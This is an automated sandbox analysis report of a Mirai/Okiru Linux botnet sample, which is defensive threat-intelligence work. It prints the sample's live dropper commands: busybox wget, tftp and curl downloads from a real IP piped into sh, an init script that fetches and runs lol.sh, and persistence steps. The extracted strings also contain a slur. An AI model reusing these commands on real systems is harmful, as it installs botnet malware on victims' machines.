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Linux Analysis Report
x86_64.nn.elf

Overview

General Information

Sample name:	x86_64.nn.elf
Analysis ID:	1574207
MD5:	adf6b23cac984a3a3904655c9b93e95d
SHA1:	6b3eb5ca916435b936af388d0455cc67d40c8ef8
SHA256:	22edd9ca7bb64abffb6ff297dafad627e552a8922c3c442ae81643e828fb0dfe
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Drops files in suspicious directories

Machine Learning detection for sample

Sample deletes itself

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574207
Start date and time:	2024-12-13 04:22:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86_64.nn.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/9@0/0

Runtime Messages

Command:	/tmp/x86_64.nn.elf
PID:	6255
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

x86_64.nn.elf (PID: 6255, Parent: 6179, MD5: adf6b23cac984a3a3904655c9b93e95d) Arguments: /tmp/x86_64.nn.elf

x86_64.nn.elf New Fork (PID: 6272, Parent: 6255)

sh (PID: 6272, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 6278, Parent: 6272)

systemctl (PID: 6278, Parent: 6272, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

x86_64.nn.elf New Fork (PID: 6304, Parent: 6255)

sh (PID: 6304, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"

sh New Fork (PID: 6306, Parent: 6304)

chmod (PID: 6306, Parent: 6304, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system

x86_64.nn.elf New Fork (PID: 6307, Parent: 6255)

sh (PID: 6307, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"

sh New Fork (PID: 6308, Parent: 6307)

ln (PID: 6308, Parent: 6307, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system

x86_64.nn.elf New Fork (PID: 6309, Parent: 6255)

sh (PID: 6309, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"

x86_64.nn.elf New Fork (PID: 6310, Parent: 6255)

sh (PID: 6310, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"

sh New Fork (PID: 6311, Parent: 6310)

chmod (PID: 6311, Parent: 6310, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/sh

x86_64.nn.elf New Fork (PID: 6312, Parent: 6255)

sh (PID: 6312, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 6313, Parent: 6312)

mkdir (PID: 6313, Parent: 6312, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

x86_64.nn.elf New Fork (PID: 6314, Parent: 6255)

sh (PID: 6314, Parent: 6255, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"

sh New Fork (PID: 6315, Parent: 6314)

ln (PID: 6315, Parent: 6314, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/sh /etc/rc.d/S99sh

x86_64.nn.elf New Fork (PID: 6316, Parent: 6255)

x86_64.nn.elf New Fork (PID: 6318, Parent: 6316)

x86_64.nn.elf New Fork (PID: 6319, Parent: 6316)

x86_64.nn.elf New Fork (PID: 6326, Parent: 6316)

x86_64.nn.elf New Fork (PID: 6327, Parent: 6316)

udisksd New Fork (PID: 6265, Parent: 799)

dumpe2fs (PID: 6265, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 6291, Parent: 6290)

snapd-env-generator (PID: 6291, Parent: 6290, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 6329, Parent: 799)

dumpe2fs (PID: 6329, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6405, Parent: 799)

dumpe2fs (PID: 6405, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6425, Parent: 799)

dumpe2fs (PID: 6425, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6426, Parent: 799)

dumpe2fs (PID: 6426, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6428, Parent: 799)

dumpe2fs (PID: 6428, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6429, Parent: 799)

dumpe2fs (PID: 6429, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6430, Parent: 799)

dumpe2fs (PID: 6430, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 6431, Parent: 799)

dumpe2fs (PID: 6431, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86_64.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
x86_64.nn.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
x86_64.nn.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
x86_64.nn.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
x86_64.nn.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
x86_64.nn.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
x86_64.nn.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
x86_64.nn.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
x86_64.nn.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6316.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6316.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6316.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6255.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6255.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6255.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6326.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6326.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6326.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6318.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6318.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6318.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
6327.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
6327.1.0000000000400000.0000000000418000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0x105a4:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10d93:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xcd9e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd05c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x138ce:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0x10953:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0x10c1e:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6327.1.0000000000400000.0000000000418000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x59f2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Process Memory Space: x86_64.nn.elf PID: 6255	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: x86_64.nn.elf PID: 6316	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: x86_64.nn.elf PID: 6318	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: x86_64.nn.elf PID: 6326	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: x86_64.nn.elf PID: 6327	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Click to see the 45 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.nn.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.nn.elf	Virustotal: Detection: 39%			Perma Link
Source: x86_64.nn.elf	ReversingLabs: Detection: 42%

Machine Learning detection for sample

Source: x86_64.nn.elf

Joe Sandbox ML: detected

Source: x86_64.nn.elf	String: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmpsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh487154914<146<2surf2/proc/%d/exe/ /.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginFound And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_110494.156.227.234mallocwaitpid/etc/motd%s
Source: x86_64.nn.elf	String: .dThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Source: global traffic	TCP traffic: 192.168.2.23:60018 -> 94.156.227.234:38242
Source: global traffic	TCP traffic: 192.168.2.23:39008 -> 154.216.19.139:199

Source: /tmp/x86_64.nn.elf (PID: 6255)

Socket: 0.0.0.0:38242

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 205.181.36.236
Source: unknown	TCP traffic detected without corresponding DNS query: 45.126.195.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.144.18.206
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 103.196.5.144
Source: unknown	TCP traffic detected without corresponding DNS query: 111.125.55.91
Source: unknown	TCP traffic detected without corresponding DNS query: 62.225.116.100
Source: unknown	TCP traffic detected without corresponding DNS query: 52.84.118.146
Source: unknown	TCP traffic detected without corresponding DNS query: 73.218.255.124
Source: unknown	TCP traffic detected without corresponding DNS query: 223.38.1.80
Source: unknown	TCP traffic detected without corresponding DNS query: 219.241.165.108
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.19.190
Source: unknown	TCP traffic detected without corresponding DNS query: 6.211.13.65
Source: unknown	TCP traffic detected without corresponding DNS query: 213.55.245.14
Source: unknown	TCP traffic detected without corresponding DNS query: 215.52.26.4
Source: unknown	TCP traffic detected without corresponding DNS query: 9.129.94.122
Source: unknown	TCP traffic detected without corresponding DNS query: 47.141.90.29
Source: unknown	TCP traffic detected without corresponding DNS query: 28.27.182.234
Source: unknown	TCP traffic detected without corresponding DNS query: 53.236.44.244
Source: unknown	TCP traffic detected without corresponding DNS query: 116.88.3.27
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 167.167.140.221
Source: unknown	TCP traffic detected without corresponding DNS query: 18.242.255.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.76.192.171
Source: unknown	TCP traffic detected without corresponding DNS query: 122.159.244.47
Source: unknown	TCP traffic detected without corresponding DNS query: 191.141.13.246
Source: unknown	TCP traffic detected without corresponding DNS query: 35.38.189.105
Source: unknown	TCP traffic detected without corresponding DNS query: 205.181.36.236
Source: unknown	TCP traffic detected without corresponding DNS query: 45.126.195.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.144.18.206
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 103.196.5.144
Source: unknown	TCP traffic detected without corresponding DNS query: 111.125.55.91
Source: unknown	TCP traffic detected without corresponding DNS query: 62.225.116.100
Source: unknown	TCP traffic detected without corresponding DNS query: 52.84.118.146
Source: unknown	TCP traffic detected without corresponding DNS query: 73.218.255.124
Source: unknown	TCP traffic detected without corresponding DNS query: 223.38.1.80
Source: unknown	TCP traffic detected without corresponding DNS query: 219.241.165.108
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.19.190
Source: unknown	TCP traffic detected without corresponding DNS query: 215.52.26.4
Source: unknown	TCP traffic detected without corresponding DNS query: 47.141.90.29
Source: unknown	TCP traffic detected without corresponding DNS query: 6.211.13.65
Source: unknown	TCP traffic detected without corresponding DNS query: 116.88.3.27
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown	TCP traffic detected without corresponding DNS query: 204.76.192.171
Source: unknown	TCP traffic detected without corresponding DNS query: 28.27.182.234
Source: unknown	TCP traffic detected without corresponding DNS query: 53.236.44.244
Source: unknown	TCP traffic detected without corresponding DNS query: 9.129.94.122
Source: unknown	TCP traffic detected without corresponding DNS query: 18.242.255.3
Source: unknown	TCP traffic detected without corresponding DNS query: 167.167.140.221

Source: x86_64.nn.elf, sh.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: x86_64.nn.elf	String found in binary or memory: http://94.156.227.233/curl.sh
Source: x86_64.nn.elf	String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_64.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
